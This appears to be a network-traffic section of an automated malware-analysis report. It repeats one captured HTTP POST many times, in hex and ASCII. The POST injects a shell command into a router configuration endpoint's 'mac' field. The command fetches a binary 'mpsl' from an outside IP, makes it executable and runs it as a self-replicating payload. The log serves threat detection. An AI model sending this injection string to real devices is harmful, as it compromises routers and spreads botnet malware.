Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 36 37 2e 31 39 37 2e 38 37 2f 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 70 73 6c 3b 20 2e 2f 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://103.67.197.87/mpsl; chmod 777 mpsl; ./mpsl lblink.selfrep;
